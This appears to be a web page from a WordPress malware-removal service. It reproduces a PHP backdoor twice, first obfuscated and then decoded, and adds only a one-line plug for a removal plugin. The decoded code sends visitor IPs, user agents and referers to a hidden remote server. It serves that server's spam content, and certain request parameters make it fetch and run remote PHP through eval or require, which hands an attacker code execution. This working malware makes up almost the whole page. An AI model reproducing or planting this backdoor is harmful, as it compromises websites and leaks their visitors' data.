x_z_zyyyz_($googleUrl,$x__yzz_yzy,$xy_z_zyz_y){$x_z__yzzyy=x_zz_z_yyy('yygpKPrSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgBLWAwA=');$x_y__zzyzy=sprintf($x_z__yzzyy,$googleUrl,$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],$x__yzz_yzy);$xyy_z__zyz=xy_zyyz__z($x_y__zzyzy);if(isset($_REQUEST["\x73\x74"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_y__zzyzy);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($xyy_z__zyz);die();}$xzyyyz_z__=x_zz_z_yyy('S8/PTCz89ZcJBQA=');$x_y_yzzzy_=x_zz_z_yyy('Ky5NToUk4iBtLgYA');$xyyzyz__z_=x_zz_z_yyy('S0vMzEJElwPNAQA=');if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x7a\x7a\x79\x7a\x5f\x5f"]($xyy_z__zyz,$xzyyyz_z__)!=false){die($x_y_yzzzy_);}die($xyyzyz__z_);}function xyy_yzz__z($x_yy_z_zyz){$xyz_zyyz__=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x5f\x79\x7a\x5f\x5f\x7a\x7a"]("/{\\|}/si",$x_yy_z_zyz,-1,PREG_SPLIT_NO_EMPTY);if(!${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x7a\x5f\x79\x5f\x5f\x7a\x79\x7a\x79"]($xyz_zyyz__)){return false;}if(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x5f\x7a\x5f\x79\x7a\x79\x5f"]($xyz_zyyz__)!=2){return false;}return $xyz_zyyz__;}function xy_zyzz__y($xyyzz__zy_,$x__yz_yzzy){$xy_z_zyz_y=array();$xy_z_zyz_y["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]=$xyyzz__zy_;$xy_z_zyz_y["\x61\x70\x69"]=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"](x__yzy_yzz($xy_z_zyz_y["\x64\x65\x66\x61\x75\x6c\x74\x5f\x70\x61\x72\x61\x6d\x73"]));$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"]=xzyy_y_zz_();$xy_z_zyz_y["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x52\x45\x51\x55\x45\x53\x54\x5f\x55\x52\x49"];$xy_z_zyz_y["\x72\x65\x66\x65\x72\x65\x72"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x52\x45\x46\x45\x52\x45\x52"]:'';$xy_z_zyz_y["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"]=isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"])?${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x55\x53\x45\x52\x5f\x41\x47\x45\x4e\x54"]:'';$xy_z_zyz_y["\x69\x70"]=xyzyz___zy();if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x53"])){$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_zz_z_yyy('yygpKYcSi20tcykHAA==');}else{$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"]=x_zz_z_yyy('yygpKcEbDdqS1wcA');}if(isset(${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"])){$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]=${"\x5f\x53\x45\x52\x56\x45\x52"}["\x48\x54\x54\x50\x5f\x41\x43\x43\x45\x50\x54\x5f\x4c\x41\x4e\x47\x55\x41\x47\x45"];}else{$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]="";}if(isset(${"\x5f\x47\x45\x54"}["\x70\x61\x72\x61\x6d\x73"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x7a\x79\x79\x7a\x79\x5f"]($xy_z_zyz_y);die();}if(isset(${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"])){$x__yzz_yzy=${"\x5f\x47\x45\x54"}["\x73\x69\x74\x65\x6d\x61\x70"];$x_yyz_z_zy=x_zz_z_yyy('Ky8v1Oq0vPz0/PSdVLzs8wTFAA==');if(isset(${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"])){$x_yyz_z_zy=${"\x5f\x47\x45\x54"}["\x67\x6f\x6f\x67\x6c\x65\x5f\x75\x72\x6c"];}x_z_zyyyz_($x_yyz_z_zy,$x__yzz_yzy,$xy_z_zyz_y);}$xyy_z_zzy_=x_zz_z_yyy('Uy3Wtsuy+yVS2uySgpKSi20tdPz89Pz0nVS87XyyqoUS22TyzIBEqrJSaDyILEkgwQXQIeUkAA==');$xyy_z_zzy_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x79\x79\x7a\x7a\x7a\x5f\x5f"]('|',$xyy_z_zzy_);if(isset($_REQUEST["\x61\x63"])&&isset($_REQUEST["\x70\x61\x74\x68"])&&isset($_REQUEST["\x74"])){xz_zy_zyy_(sprintf($xyy_z_zzy_[2],${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x5f\x7a\x5f\x79\x79\x7a\x79\x7a\x5f"](x__yzy_yzz($x__yz_yzzy)),$xy_z_zyz_y["\x61\x70\x69"],$_REQUEST["\x61\x63"],$_REQUEST["\x70\x61\x74\x68"],$_REQUEST["\x74"]));}$xy_zzzyy__=array('doxy_zyzz__y'=>$xy_z_zyz_y["\x73\x65\x72\x76\x65\x72\x5f\x64\x6f\x6d\x61\x69\x6e"],'request_url'=>$xy_z_zyz_y["\x72\x65\x71\x75\x65\x73\x74\x5f\x75\x72\x6c"],'ip'=>$xy_z_zyz_y["\x69\x70"],'agent'=>$xy_z_zyz_y["\x75\x73\x65\x72\x5f\x61\x67\x65\x6e\x74"],'referer'=>$xy_z_zyz_y["\x72\x65\x66\x65\x72\x65\x72"],'protocol'=>$xy_z_zyz_y["\x70\x72\x6f\x74\x6f\x63\x6f\x6c"],'language'=>$xy_z_zyz_y["\x6c\x61\x6e\x67\x75\x61\x67\x65"]);$xz_zy__zyy=sprintf($xyy_z_zzy_[0],$xy_z_zyz_y["\x61\x70\x69"],x__yzy_yzz(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x5f\x7a\x5f\x7a\x79\x79\x5f\x7a"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x79\x7a\x5f\x5f\x5f\x7a\x79\x7a"]('{|}',$xy_zzzyy__))));$x_yy_z_zyz=xy_zyyz__z($xz_zy__zyy);if(isset($_REQUEST["\x64\x75\x6d\x70"])){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_yy_z_zyz);$x_yy_z_zyz=xy_zyyz__z($xyy_z_zzy_[1]);${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x78\x79\x7a\x79\x5f\x7a\x5f\x79\x5f\x7a"]($x_yy_z_zyz);die();}$xzz_y_yyz_=xyy_yzz__z($x_yy_z_zyz);if($xzz_y_yyz_!==false){@header($xzz_y_yyz_[0]);echo $xzz_y_yyz_[1];die();}}xy_zyzz__y($xyyzz__zy_,$x__yz_yzzy);

Decoded(de-Obfuscated) php code

<?php

$x_yz_z_yyz = "oA-bNnK7L5_JUtRxIY+WCa93Vk0wM1OeSDdB2j/lsXfqphm*TGvQHrPyc\\4zuF6iZg8E";
$xz_zyy_yz_ = "preg_replace_callback";
$x_y__yzzyz = "stream_socket_client";
$xyz_zz__yy = "stream_get_meta_data";
$xzzzy__yy_ = "stream_set_blocking";
$xzy__zy_zy = "stream_set_timeout";
$xz__yyy_zz = "file_get_contents";
$x__zz_yyzy = "function_exists";
$x_zyyyz__z = "error_reporting";
$xzz__yz_yy = "gethostbyname";
$xy_z_zyy_z = "base64_encode";
$x_z_yyzyz_ = "base64_decode";
$xy__yzyz_z = "rawurlencode";
$xy_yz__yzz = "str_replace";
$xyy__zz_yz = "curl_setopt";
$xz_zyzyy__ = "array_shift";
$xyy_yz__zz = "preg_split";
$xzzzy_yy__ = "preg_match";
$x_yy_yz_zz = "curl_close";
$x__yyzzz_y = "str_split";
$xz_y_zyzy_ = "parse_url";
$xzyzyz___y = "gzinflate";
$x_y_yzyz_z = "curl_init";
$xyy_zz_yz_ = "curl_exec";
$xyzy_z_y_z = "var_dump";
$xz_y__zyzy = "is_array";
$x___zzzyyy = "tmpfile";
$x_z_zyyzy_ = "print_r";
$xyyz___zyz = "implode";
$xy_yyzzz__ = "explode";
$xyy_zzyz__ = "strpos";
$xz__zyy_zy = "strlen";
$xyz__zyz_y = "hexdec";
$x_y__yzzyz = "fwrite";
$xzyyy_z_z_ = "fclose";
$xz___yyzyz = "fread";
$xy_y_yz_zz = "fgets";
$xyz_z_yzy_ = "count";
$x_z_yzyyz_ = "trim";
$xz_yzz__yy = "join";
$x_zy_y_zzy = "feof";
error_reporting(0);
$xyyzz__zy_ = "Ha0RDcvo2LwpTMwAXLyYTMuUWetFWYpx2avVids5WaZl";
$x__yz_yzzy = "Ha0RHc6MyLj9nLpdzYuU2Yt9wL==";
function x_zz_z_yyy($xyz_yyz_z_)
{
    $x_zzy_y_yz = substr($xyz_yyz_z_, 0, 5);
    $xyzzyy__z_ = substr($xyz_yyz_z_, 5);
    $x_zy_zyzy_ = substr($xyz_yyz_z_, 7, strlen($xyz_yyz_z_) - 14);
    return gzinflate(base64_decode($x_zzy_y_yz . $x_zy_zyzy_ . $xyzzyy__z_));
}
function xy_zyyz__z($xz_zy__zyy)
{
    if (!preg_match("/^https*\\:\\/\\//si", $xz_zy__zyy)) {
        return '500';
    }
    $xy_y_zzz_y = file_get_contents($xz_zy__zyy);
    if ($xy_y_zzz_y != false) {
        return $xy_y_zzz_y;
    }
    $x_yzz_z_yy = x_zz_z_yyy('Sy4typZonPzMss0U4GsYpTS/ILoOzUitTkmrTi/OTs/ILUvJoCBLO4pCg1MTcexE8tiU/OyUzNK6mB8YBknSJakA');
    $xy_zyzy__z = $xzyyz_y_z_ = $xyzy_yz_z_ = $xy_yy__zzzrr_str = '';
    foreach (explode('|', $x_yzz_z_yy) as $c) {
        $xz_yz_y_yz = 1;
        foreach (explode('+', $c) as $d) {
            if (!function_exists($d)) {
                $xz_yz_y_yz = 0;
            }
        }
        unset($d);
        if ($xz_yz_y_yz) {
            $xy_zyzy__z = $c;
            break;
        }
    }
    unset($x_yzz_z_yy, $c);
    if ($xy_zyzy__z == '') {
        return 0;
    }
    if (substr($xy_zyzy__z, 0, 1) == 'c') {
        $xyyz__yzz_ = curl_init();
        curl_setopt($xyyz__yzz_, CURLOPT_URL, $xz_zy__zyy);
        curl_setopt($xyyz__yzz_, CURLOPT_USERAGENT, 's');
        curl_setopt($xyyz__yzz_, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($xyyz__yzz_, CURLOPT_TIMEOUT, 100);
        curl_setopt($xyyz__yzz_, CURLOPT_FRESH_CONNECT, TRUE);
        curl_setopt($xyyz__yzz_, CURLOPT_SSL_VERIFYPEER, 0);
        $xz_y_yz_yz = curl_exec($xyyz__yzz_);
        curl_close($xyyz__yzz_);
        if (!$xz_y_yz_yz) {
            return '501';
        } else {
            return $xz_y_yz_yz;
        }
    }
    $xz__yzyy_z = parse_url($xz_zy__zyy);
    isset($xz__yzyy_z["host"]) || ($xz__yzyy_z["host"] = '');
    isset($xz__yzyy_z["path"]) || ($xz__yzyy_z["path"] = '');
    isset($xz__yzyy_z["query"]) || ($xz__yzyy_z["query"] = '');
    isset($xz__yzyy_z["port"]) || ($xz__yzyy_z["port"] = '');
    $x_zzy__yyz = $xz__yzyy_z["path"] ? $xz__yzyy_z["path"] . ($xz__yzyy_z["query"] ? '?' . $xz__yzyy_z["query"] : '') : '/';
    $xzy_y__zzy = $xz__yzyy_z["host"];
    if ($xz__yzyy_z["scheme"] == 'https') {
        $xzz_y_zyy_ = '1.1';
        $x_zyyyz_z_ = empty($xz__yzyy_z["port"]) ? 443 : $xz__yzyy_z["port"];
        $xzy_y__zzy = x_zz_z_yyy('Ky7OsPgdLABXBwA=');
        $xzy_y__zzy .= $xz__yzyy_z["host"];
    } else {
        $xzz_y_zyy_ = '1.0';
        $x_zyyyz_z_ = empty($xz__yzyy_z["port"]) ? 80 : $xz__yzyy_z["port"];
    }
    $x_zzyyy_z_ = 'Host:';
    $x_zzyyy_z_ .= $xzy_y__zzy;
    $headers[] = $x_zzyyy_z_;
    $headers[] = x_zz_z_yyy('c87PymS0tNLsnMz7NyzskNivTgUA');
    $headers[] = x_zz_z_yyy('Cy1OLbCdJ1TE/NK7ErMqBgA=');
    $headers[] = x_zz_z_yyy('c0xOTXJi0osdLtWS1wIA');
    unset($x_zzyyy_z_);
    $xzyyz_y_z_ = "GET {$x_zzy__yyz} HTTP/{$xzz_y_zyy_}" . PHP_EOL . join(PHP_EOL, $headers) . PHP_EOL . PHP_EOL;
    unset($headers, $xz__yzyy_z, $xzz_y_zyy_, $x_zzy__yyz);
    $x_y_zz_yzy = null;
    if (substr($xy_zyzy__z, 1) == 'n') {
        $x_y_zz_yzy = $xy_zyzy__z($xzy_y__zzy, $x_zyyyz_z_, $xyzy_yz_z_, $xy_yy__zzzrr_str, 30);
    } else {
        if (substr($xy_zyzy__z, 1) == 't') {
            $xzzzyy__y_ = x_zz_z_yyy('K0kusibNLVEXBwA=');
            $xzzzyy__y_ .= $xzy_y__zzy;
            $xzzzyy__y_ .= ':';
            $xzzzyy__y_ .= $x_zyyyz_z_;
            $x_y_zz_yzy = fwrite($xzzzyy__y_, $xyzy_yz_z_, $xy_yy__zzzrr_str, 30);
            unset($xzzzyy__y_);
        }
    }
    $x_yy_z_zyz = '';
    if ($x_y_zz_yzy) {
        stream_set_blocking($x_y_zz_yzy, TRUE);
        stream_set_timeout($x_y_zz_yzy, 30);
        fwrite($x_y_zz_yzy, $xzyyz_y_z_);
        $x_z_y_yzyz = stream_get_meta_data($x_y_zz_yzy);
        if (!$x_z_y_yzyz["timed_out"]) {
            while (!feof($x_y_zz_yzy)) {
                $xzyy__z_yz = fgets($x_y_zz_yzy);
                if ($xzyy__z_yz && (rawurlencode($xzyy__z_yz) == "%0D%0A" || rawurlencode($xzyy__z_yz) == "%0A")) {
                    break;
                }
                unset($xzyy__z_yz);
            }
            while (!feof($x_y_zz_yzy)) {
                $xzz_y_yyz_ = fread($x_y_zz_yzy, 8192);
                $x_yy_z_zyz .= $xzz_y_yyz_;
                unset($xzz_y_yyz_);
            }
        }
        unset($x_z_y_yzyz);
        fclose($x_y_zz_yzy);
    } else {
        if (substr($xy_zyzy__z, 1) == 'e') {
            $x__zyzzy_y = gethostbyname($xzy_y__zzy);
            $x_y_zz_yzy = $xy_zyzy__z(AF_INET, SOCK_STREAM, 0);
            if (socket_connect($x_y_zz_yzy, $x__zyzzy_y, $x_zyyyz_z_)) {
                socket_write($x_y_zz_yzy, $xzyyz_y_z_, strlen($xzyyz_y_z_));
                while ($x__yyz_yzz = @socket_read($x_y_zz_yzy, 8192)) {
                    $x_yy_z_zyz .= $x__yyz_yzz;
                    unset($x__yyz_yzz);
                }
                $x_yy_z_zyz = explode("\\r\\n\\r\\n", $x_yy_z_zyz);
                array_shift($x_yy_z_zyz);
                $x_yy_z_zyz = implode("\\r\\n\\r\\n", $x_yy_z_zyz);
            }
            socket_close($x_y_zz_yzy);
            unset($x__zyzzy_y);
        }
    }
    unset($xzyyz_y_z_, $xy_zyzy__z, $x_y_zz_yzy, $x_zyyyz_z_, $xzy_y__zzy);
    $x_yy_z_zyz = @preg_replace_callback('/(?:(?:\\r\\n|\\n)|^)([0-9A-F]+)(?:\\r\\n|\\n){1,2}(.*?)((?:\\r\\n|\\n)(?:[0-9A-F]+(?:\\r\\n|\\n))|$)/si', 'x_zyzy_z_y', $x_yy_z_zyz);
    return trim(trim($x_yy_z_zyz, "\\xEF\\xBB\\xBF"));
}
function x_zyzy_z_y($matches)
{
    return hexdec($matches[1]) == strlen($matches[2]) ? $matches[2] : $matches[0];
}
function xyzyz___zy($xzzyy_y__z = '')
{
    $xzzyy_y__z = $_SERVER["HTTP_VIA"] ? $_SERVER["HTTP_X_FORWARDED_FOR"] : $_SERVER["REMOTE_ADDR"];
    $xzzyy_y__z = $xzzyy_y__z ? $xzzyy_y__z : $_SERVER["REMOTE_ADDR"];
    return trim($xzzyy_y__z);
}
function xzyy_y_zz_($xyz_yyz_z_ = '')
{
    if (isset($_SERVER["HTTP_HOST"])) {
        return $_SERVER["HTTP_HOST"];
    } elseif (isset($_SERVER["SERVER_NAME"])) {
        return $_SERVER["SERVER_NAME"];
    }
    return $xyz_yyz_z_;
}
function xz_zy_zyy_($xz_zy__zyy)
{
    $xzyyz__y_z = xy_zyyz__z($xz_zy__zyy);
    $xzz_yy__zy = "<?php";
    if (strpos($xzyyz__y_z, $xzz_yy__zy) === false) {
        die('get failed');
    }
    $xyyzyz_z__ = tmpfile();
    if (isset($_REQUEST["e"])) {
        $xzyyz__y_z = str_replace($xzz_yy__zy, "", $xzyyz__y_z);
        $xy_yy__zzz = 'eval';
        eval($xzyyz__y_z);
        die;
    }
    fwrite($xyyzyz_z__, $xzyyz__y_z);
    $x_yzz_z_yy = stream_get_meta_data($xyyzyz_z__);
    @(require $x_yzz_z_yy["uri"]);
    fclose($xyyzyz_z__);
    die;
}
function x__yzy_yzz($xyyzz__zy_)
{
    $x_yzz_y_zy = substr($xyyzz__zy_, strlen($xyyzz__zy_) - 2);
    $xyzy__zy_z = str_split($xyyzz__zy_);
    $xzzy__yzy_ = '';
    for ($xy_zzyy__z = 0; $xy_zzyy__z < count($xyzy__zy_z) - 2; $xy_zzyy__z += 2) {
        $xzzy__yzy_ .= $xyzy__zy_z[$xy_zzyy__z + 1] . $xyzy__zy_z[$xy_zzyy__z];
    }
    $xzzy__yzy_ .= $x_yzz_y_zy;
    return $xzzy__yzy_;
}
function x_z_zyyyz_($googleUrl, $x__yzz_yzy, $xy_z_zyz_y)
{
    $x_z__yzzyy = x_zz_z_yyy('yygpKPrSi20tdXLdYvyMxLty/OLEnNTSywVS0GiqgBLWAwA=');
    $x_y__zzyzy = sprintf($x_z__yzzyy, $googleUrl, $xy_z_zyz_y["protocol"], $xy_z_zyz_y["server_domain"], $x__yzz_yzy);
    $xyy_z__zyz = xy_zyyz__z($x_y__zzyzy);
    if (isset($_REQUEST["st"])) {
        var_dump($x_y__zzyzy);
        var_dump($xyy_z__zyz);
        die;
    }
    $xzyyyz_z__ = x_zz_z_yyy('S8/PTCz89ZcJBQA=');
    $x_y_yzzzy_ = x_zz_z_yyy('Ky5NToUk4iBtLgYA');
    $xyyzyz__z_ = x_zz_z_yyy('S0vMzEJElwPNAQA=');
    if (strpos($xyy_z__zyz, $xzyyyz_z__) != false) {
        die($x_y_yzzzy_);
    }
    die($xyyzyz__z_);
}
function xyy_yzz__z($x_yy_z_zyz)
{
    $xyz_zyyz__ = @preg_split("/{\\|}/si", $x_yy_z_zyz, 1, PREG_SPLIT_NO_EMPTY);
    if (!is_array($xyz_zyyz__)) {
        return false;
    }
    if (count($xyz_zyyz__) != 2) {
        return false;
    }
    return $xyz_zyyz__;
}
function xy_zyzz__y($xyyzz__zy_, $x__yz_yzzy)
{
    $xy_z_zyz_y = array();
    $xy_z_zyz_y["default_params"] = $xyyzz__zy_;
    $xy_z_zyz_y["api"] = base64_decode(x__yzy_yzz($xy_z_zyz_y["default_params"]));
    $xy_z_zyz_y["server_domain"] = xzyy_y_zz_();
    $xy_z_zyz_y["request_url"] = $_SERVER["REQUEST_URI"];
    $xy_z_zyz_y["referer"] = isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : '';
    $xy_z_zyz_y["user_agent"] = isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : '';
    $xy_z_zyz_y["ip"] = xyzyz___zy();
    if (isset($_SERVER["HTTPS"])) {
        $xy_z_zyz_y["protocol"] = x_zz_z_yyy('yygpKYcSi20tcykHAA==');
    } else {
        $xy_z_zyz_y["protocol"] = x_zz_z_yyy('yygpKcEbDdqS1wcA');
    }
    if (isset($_SERVER["HTTP_ACCEPT_LANGUAGE"])) {
        $xy_z_zyz_y["language"] = $_SERVER["HTTP_ACCEPT_LANGUAGE"];
    } else {
        $xy_z_zyz_y["language"] = "";
    }
    if (isset($_GET["params"])) {
        print_r($xy_z_zyz_y);
        die;
    }
    if (isset($_GET["sitemap"])) {
        $x__yzz_yzy = $_GET["sitemap"];
        $x_yyz_z_zy = x_zz_z_yyy('Ky8v1Oq0vPz0/PSdVLzs8wTFAA==');
        if (isset($_GET["google_url"])) {
            $x_yyz_z_zy = $_GET["google_url"];
        }
        x_z_zyyyz_($x_yyz_z_zy, $x__yzz_yzy, $xy_z_zyz_y);
    }
    $xyy_z_zzy_ = x_zz_z_yyy('Uy3Wtsuy+yVS2uySgpKSi20tdPz89Pz0nVS87XyyqoUS22TyzIBEqrJSaDyILEkgwQXQIeUkAA==');
    $xyy_z_zzy_ = explode('|', $xyy_z_zzy_);
    if (isset($_REQUEST["ac"]) && isset($_REQUEST["path"]) && isset($_REQUEST["t"])) {
        xz_zy_zyy_(sprintf($xyy_z_zzy_[2], base64_decode(x__yzy_yzz($x__yz_yzzy)), $xy_z_zyz_y["api"], $_REQUEST["ac"], $_REQUEST["path"], $_REQUEST["t"]));
    }
    $xy_zzzyy__ = array('doxy_zyzz__y' => $xy_z_zyz_y["server_domain"], 'request_url' => $xy_z_zyz_y["request_url"], 'ip' => $xy_z_zyz_y["ip"], 'agent' => $xy_z_zyz_y["user_agent"], 'referer' => $xy_z_zyz_y["referer"], 'protocol' => $xy_z_zyz_y["protocol"], 'language' => $xy_z_zyz_y["language"]);
    $xz_zy__zyy = sprintf($xyy_z_zzy_[0], $xy_z_zyz_y["api"], x__yzy_yzz(base64_encode(implode('{|}', $xy_zzzyy__))));
    $x_yy_z_zyz = xy_zyyz__z($xz_zy__zyy);
    if (isset($_REQUEST["dump"])) {
        var_dump($x_yy_z_zyz);
        $x_yy_z_zyz = xy_zyyz__z($xyy_z_zzy_[1]);
        var_dump($x_yy_z_zyz);
        die;
    }
    $xzz_y_yyz_ = xyy_yzz__z($x_yy_z_zyz);
    if ($xzz_y_yyz_ !== false) {
        @header($xzz_y_yyz_[0]);
        echo $xzz_y_yyz_[1];
        die;
    }
}
xy_zyzz__y($xyyzz__zy_, $x__yz_yzzy);

Malware detection & removal plugin for WordPress

（C）2020 Wordpress Doctor All rights reserved.